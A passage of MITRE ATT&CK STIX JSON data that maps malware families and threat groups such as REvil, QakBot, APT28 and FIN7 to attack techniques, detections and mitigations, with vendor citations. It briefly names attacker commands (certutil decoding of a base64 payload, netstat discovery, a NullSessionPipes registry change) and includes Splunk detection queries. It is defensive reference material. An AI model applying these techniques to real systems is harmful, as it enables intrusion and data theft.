2019","url":"https://www.secureworks.com/research/revil-sodinokibi-ransomware","description":"Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."},{"source_name":"McAfee Sodinokibi October 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/","description":"McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020."},{"source_name":"Picus Sodinokibi January 2020","url":"https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware","description":"Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."},{"source_name":"Secureworks GandCrab and REvil September 2019","url":"https://www.secureworks.com/blog/revil-the-gandcrab-connection","description":"Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."}],"modified":"2020-08-06T13:39:24.240Z","description":"[REvil](https://attack.mitre.org/software/S0496) has infected victim machines through compromised websites and exploit kits.(Citation: Secureworks REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks GandCrab and REvil September 2019)","relationship_type":"uses","source_ref":"malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--91f0a77b-0c70-425e-afe0-af5f8296c434","created":"2024-05-17T13:20:42.880Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RedCanary RaspberryRobin 2022","description":"Lauren Podber and Stef Rand. (2022, May 5). Raspberry Robin gets the worm early. Retrieved May 17, 2024.","url":"https://redcanary.com/blog/threat-intelligence/raspberry-robin/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-16T17:52:56.136Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) uses cmd.exe to read and execute a file stored on an infected USB device as part of initial installation.(Citation: RedCanary RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91f59958-db5f-429c-9608-a033ea68486b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity PowerDuke November 2016","description":"Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.","url":"https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}],"modified":"2019-04-22T22:31:38.339Z","description":"[PowerDuke](https://attack.mitre.org/software/S0139) hides many of its backdoor payloads in an alternate data stream (ADS).(Citation: Volexity PowerDuke November 2016)","relationship_type":"uses","source_ref":"malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91f7282f-e496-462d-9fd5-6cf4d0170e91","type":"relationship","created":"2020-12-03T21:20:58.320Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."}],"modified":"2020-12-03T21:20:58.320Z","description":"[HyperStack](https://attack.mitre.org/software/S0537) can add the name of its communication pipe to HKLM\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\lanmanserver\\\\parameters\\NullSessionPipes.(Citation: Accenture HyperStack October 2020)","relationship_type":"uses","source_ref":"malware--2cf7dec3-66fc-423f-b2c7-58f1de243b4e","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--91f79ff4-3850-4e37-807a-fe303b312e23","created":"2019-08-26T15:27:13.073Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."},{"source_name":"Securelist Kimsuky Sept 2013","url":"https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/","description":"Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has exfiltrated data over its C2 channel.(Citation: Securelist Kimsuky Sept 2013)(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-12T14:59:32.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--91fd8374-eeba-4243-a8de-ff7353236024","type":"relationship","created":"2021-09-28T15:57:33.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. Retrieved September 27, 2021."}],"modified":"2021-09-30T13:49:36.096Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can conduct brute force attacks to capture credentials.(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9206eef2-3336-4c6d-808c-e809bed9784e","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--920c3901-1897-4607-b7b1-8adbb4bda479","created":"2024-08-19T17:26:31.736Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:26:31.737Z","description":"Monitor M365 Audit logs for AlertTriggered operations with rule name \"Creation of forwarding/redirect rule.\" or for New-InboxRule operations against Exchange Workloads. Look for anomalous modification properties such as actor user ID. An example event can show the creation of an email forwarding rule for a victim user\n\nAnalytic 1 - Unauthorized email forwarding rule creation activities\n\nNote: To detect unauthorized email forwarding rule creation activities in M365 Audit logs.\n\n `index=\"m365_audit_logs\" Operation=\"AlertTriggered\" RuleName=\"Creation of forwarding/redirect rule\"\n| stats count by Actor, TargetUser\n| where Actor!=\"expected_actor\" AND TargetUser!=\"expected_target_user\"\n\nAnalytic 2 - Unauthorized email forwarding rule creation activities\n\n `index=\"m365_audit_logs\" Operation=\"New-InboxRule\"\n| stats count by UserId, Parameters.ForwardTo\n| where UserId!=\"expected_user\" AND Parameters.ForwardTo!=\"expected_forwarding_address\"","relationship_type":"detects","source_ref":"x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f","target_ref":"attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9212f940-021e-49b1-b500-fa1dd76b7132","type":"relationship","created":"2020-06-30T00:39:39.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Ragnar May 2020","url":"https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/","description":"SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020."}],"modified":"2020-06-30T00:39:39.847Z","description":"[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.(Citation: Sophos Ragnar May 2020)","relationship_type":"uses","source_ref":"malware--54895630-efd2-4608-9c24-319de972a9eb","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9212fc97-5ddd-4bec-a63b-892164dcb03f","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor for newly constructed files in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--921b3245-0795-40cd-82e1-04f38bc42b14","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-30T14:53:28.879Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can retrieve additional malicious payloads from its C2 server.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--921b9a4d-091a-442b-981a-0b34daa2ed6a","type":"relationship","created":"2020-03-30T19:36:27.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"}],"modified":"2020-03-30T19:36:27.927Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/","description":"Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.","source_name":"Unit 42 Sofacy Feb 2018"},{"source_name":"Palo Alto Sofacy 06-2018","description":"Lee, B., Falcone, R. (2018, June 06). Sofacy Group’s Parallel Attacks. Retrieved June 18, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"}],"modified":"2020-03-20T16:37:06.322Z","description":"An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command certutil -decode to decode contents of a .txt file storing the base64 encoded payload.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--922037af-61f0-42d8-8b57-310b6b56ea5a","type":"relationship","created":"2020-01-30T14:24:35.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-01-06T18:26:18.540Z","description":"Remove users from the local administrator group on systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--922af0dd-415c-4512-9fe2-710a954f4c80","type":"relationship","created":"2021-09-07T15:24:47.972Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:10.006Z","description":"[Peppy](https://attack.mitre.org/software/S0643) can identify specific files for exfiltration.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--6c2550d5-a01a-4bbb-a004-6ead348ba623","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--922c214d-ad32-4490-bb3f-a4db73b718d5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-17T02:15:30.782Z","description":"[Psylo](https://attack.mitre.org/software/S0078) has commands to enumerate all storage devices and to find all files that start with a particular string.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--922cc16d-2242-477b-89db-1ba3d5176e12","type":"relationship","created":"2020-11-19T18:02:58.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR SLOTHFULMEDIA October 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a","description":"DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 – Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020."}],"modified":"2020-11-19T18:02:58.494Z","description":"[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to stop processes and services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)","relationship_type":"uses","source_ref":"malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--922d5db0-2588-46d9-9a91-e5d4ccc3c84c","created":"2023-09-14T12:52:21.230Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Gigamon BADHATCH Jul 2019","description":"Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.","url":"https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T17:34:28.429Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can beacon to a hardcoded C2 IP address using TLS encryption every 5 minutes.(Citation: Gigamon BADHATCH Jul 2019)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--922dc509-f22e-4c69-aad6-098fedfb30f7","created":"2024-05-22T22:17:17.865Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:17:17.865Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) engaged in various brute forcing activities via SMB in victim environments.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9234553d-b096-418f-b3d0-de75c15d8180","type":"relationship","created":"2021-01-06T16:56:56.306Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.306Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) was digitally signed by SolarWinds from March - May 2020.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--92348457-3761-4298-aedc-14fa7fd4810c","type":"relationship","created":"2020-07-28T17:59:34.643Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}],"modified":"2020-07-30T13:32:16.238Z","description":"[PROMETHIUM](https://attack.mitre.org/groups/G0056) has disguised malicious installer files by bundling them with legitimate software installers.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)","relationship_type":"uses","source_ref":"intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9238d096-ed26-4a93-829e-d67ee3abc93c","type":"relationship","created":"2020-03-15T15:30:42.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-15T15:30:42.481Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c","target_ref":"attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9246e480-a0ee-4e5d-9d4b-a0f7adb34d85","created":"2024-01-23T20:12:31.465Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:12:31.465Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used `netstat -anop tcp` to discover TCP connections to compromised hosts.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--924b50b9-7de3-4036-b732-c87d08971122","type":"relationship","created":"2021-09-07T14:18:54.884Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.926Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can set a Registry key to determine how long it has been installed and possibly to indicate the version number.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--924c8549-a033-44f9-8823-64e95fe339e7","type":"relationship","created":"2021-05-05T18:50:14.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Clandestine Wolf","description":"Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf – Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.","url":"https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"},{"url":"https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html","description":"Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.","source_name":"FireEye Clandestine Fox"}],"modified":"2021-10-01T19:09:21.865Z","description":"[APT3](https://attack.mitre.org/groups/G0022) has exploited the Adobe Flash Player vulnerability CVE-2015-3113 and Internet Explorer vulnerability CVE-2014-1776.(Citation: FireEye Clandestine Wolf)(Citation: FireEye Clandestine 